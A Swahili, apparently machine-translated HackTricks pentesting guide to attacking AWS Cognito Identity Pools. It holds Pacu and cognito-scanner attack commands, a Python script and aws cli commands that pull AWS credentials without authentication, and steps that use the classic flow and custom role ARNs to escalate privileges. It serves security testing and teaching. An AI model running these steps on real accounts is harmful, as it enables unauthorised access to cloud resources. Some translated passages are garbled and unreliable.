Cognito Identity Pools

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Pools za kitambulisho zina jukumu muhimu kwa kuwezesha watumiaji wako kupata vitambulisho vya muda. Vitambulisho hivi ni muhimu kwa kupata huduma mbalimbali za AWS, ikiwa ni pamoja na lakini sio tu Amazon S3 na DynamoDB. Sifa muhimu ya pools za kitambulisho ni msaada wao kwa watumiaji wageni wasiojulikana na anuwai ya watoa huduma za kitambulisho kwa uthibitishaji wa mtumiaji. Watoa huduma za kitambulisho wanaoungwa mkono ni pamoja na:

  • Pools za watumiaji za Amazon Cognito

  • Chaguzi za kuingia kijamii kama vile Facebook, Google, Ingia na Amazon, na Ingia na Apple

  • Watoa huduma wanaofuata OpenID Connect (OIDC)

  • Watoa huduma wa SAML (Security Assertion Markup Language)

  • Kitambulisho kilichothibitishwa na msanidi programu

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Ili kuzalisha vikao vya Dimbwi la Kitambulisho, kwanza unahitaji kuzalisha Kitambulisho na Kitambulisho. Hiki Kitambulisho ni utambulisho wa kikao cha mtumiaji huyo. Vitambulisho hivi vinaweza kuwa na hadi seti 20 ambazo zinaweza kuhifadhi hadi 1MB ya jozi za funguo-na-thamani.

Hii ni ya manufaa kuhifadhi habari za mtumiaji (ambaye daima atakuwa akitumia Kitambulisho hicho hicho).

Zaidi ya hayo, huduma ya cognito-sync ndiyo huduma inayoruhusu kusimamia na kusawazisha habari hizi (katika seti, kutuma habari katika mito na ujumbe wa SNS...).

Zana za pentesting

  • Pacu, fremu ya unyonyaji wa AWS, sasa inajumuisha moduli za "cognito__enum" na "cognito__attack" ambazo zinautomatisha uorodheshaji wa mali zote za Cognito katika akaunti na kuashiria miundo dhaifu, sifa za mtumiaji zinazotumiwa kwa kudhibiti upatikanaji, n.k., na pia kiotomatiki uundaji wa mtumiaji (ikiwa ni pamoja na usaidizi wa MFA) na upandishaji wa mamlaka kulingana na sifa za kawaida zinazoweza kuhaririwa, vitambulisho vya dimbwi la kitambulisho vinavyoweza kutumiwa, majukumu yanayoweza kuchukuliwa katika alama za kitambulisho, n.k.

Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya machapisho ya blogu. Kwa maelekezo ya usakinishaji angalia ukurasa wa kuu wa Pacu.

Matumizi

Matumizi ya mfano ya cognito__attack kujaribu uundaji wa mtumiaji na vekta zote za upandishaji wa mamlaka dhidi ya dimbwi la kitambulisho lililopewa na mteja wa dimbwi la mtumiaji:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Mfano wa matumizi ya cognito__enum kukusanya mabwawa yote ya watumiaji, wateja wa bwawa la watumiaji, mabwawa ya utambulisho, watumiaji, n.k. yanayoonekana kwenye akaunti ya AWS ya sasa:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ni chombo cha CLI kilichoandikwa kwa python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na uundaji usiohitajika wa akaunti na kuongezeka kwa dimbwi la kitambulisho.

Usanidi

$ pip install cognito-scanner

Matumizi

$ cognito-scanner --help

Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner

Kupata Majukumu ya IAM

Bila Kuthibitishwa

Kitu pekee ambacho mshambuliaji anahitaji kujua ili kupata vibali vya AWS katika programu ya Cognito kama mtumiaji asiye na uthibitisho ni Kitambulisho cha Dimbwi la Kitambulisho, na hiki Kitambulisho lazima kiwekwe kwa nguvu katika programu ya wavuti/simu ili iitumie. Kitambulisho kinaonekana kama hiki: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (hakiwezi kufanyiwa nguvu).

Jukumu la Cognito la IAM lisilo na uthibitisho lililoanzishwa kupitia kwa chaguo-msingi huitwa Cognito_<Jina la Dimbwi la Kitambulisho>Unauth_Role

Ikiwa unapata Kitambulisho la Dimbwi la Kitambulisho lililowekwa kwa nguvu na inaruhusu watumiaji wasio na uthibitisho, unaweza kupata vibali vya AWS na:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Au unaweza kutumia amri za aws cli zifuatazo:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Tafadhali kumbuka kwamba kwa chaguo-msingi, mtumiaji wa Cognito asiye na uthibitishaji hawezi kuwa na idhini yoyote, hata kama ilipewa kupitia sera. Angalia sehemu ifuatayo.

Mfumo wa Uthibitishaji wa Kuboreshwa dhidi ya Msingi

Sehemu iliyopita ilifuata mfumo wa kawaida wa uthibitishaji ulioboreshwa. Mfumo huu huanzisha sera ya kikao iliyozuiliwa kwa kikao cha jukumu la IAM kilichozalishwa. Sera hii itaruhusu kikao hicho tu kutumia huduma kutoka kwenye orodha hii (hata kama jukumu lilikuwa na ufikiaji wa huduma nyingine).

Hata hivyo, kuna njia ya kuzidi hili, ikiwa Hifadhi ya Kitambulisho ina "Mfumo wa Msingi (Mkongwe)" umewezeshwa, mtumiaji ataweza kupata kikao kwa kutumia mfumo huo ambao hautakuwa na sera ya kikao iliyozuiliwa.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Ikiwa unapokea kosa hili, ni kwa sababu mtiririko wa msingi haujafunguliwa (chaguo-msingi)

Kosa lilijitokeza (InvalidParameterException) wakati wa kuita operesheni ya GetOpenIdToken: Mtiririko wa msingi (klasiki) haujafunguliwa, tafadhali tumia mtiririko ulioboreshwa.

Ukiwa na seti ya vibali vya IAM unapaswa kuchunguza upatikanaji wako na jaribu kuinua mamlaka.

Kuthibitishwa

Kumbuka kuwa watumiaji waliothibitishwa huenda wakapewa idhini tofauti, hivyo ikiwa unaweza kujiandikisha ndani ya programu, jaribu kufanya hivyo na upate vibali vipya.

Pia kunaweza kuwa na majukumu yanayopatikana kwa watumiaji waliothibitishwa wanaoingia kwenye Dimbwi la Kitambulisho.

Kwa hili unaweza kuhitaji kupata upatikanaji wa mtoa kitambulisho. Ikiwa hiyo ni Dimbwi la Watumiaji wa Cognito, labda unaweza kutumia tabia ya chaguo-msingi na kuunda mtumiaji mpya mwenyewe.

Jukumu la kuthibitishwa la IAM Cognito lililoanzishwa kupitia linaitwa kwa chaguo-msingi Cognito_<Jina la Dimbwi la Kitambulisho>Auth_Role

Kwa njia yoyote, mfano ufuatao unatarajia kuwa tayari umelogiwa ndani ya Dimbwi la Watumiaji wa Cognito linalotumiwa kupata upatikanaji wa Dimbwi la Kitambulisho (usisahau kuwa aina zingine za watoa kitambulisho pia zinaweza kuwa zimeboreshwa).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Pata identity_id kutoka kwa jibu la amri iliyotangulia
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# Katika IdToken unaweza kupata majukumu ambayo mtumiaji ana upatikanaji kwa sababu ya Vikundi vya Dimbwi la Watumiaji
# Tumia --custom-role-arn kupata vibali kwa jukumu maalum
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Inawezekana kuweka vipimo tofauti vya IAM kulingana na mtoa kitambulisho ambaye mtumiaji analogiwa au hata kulingana na mtumiaji (kutumia madai). Kwa hivyo, ikiwa una upatikanaji wa watumiaji tofauti kupitia mtoa huduma sawa au tofauti, inaweza kuwa yenye thamani kuingia na kupata majukumu ya IAM ya wote.

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated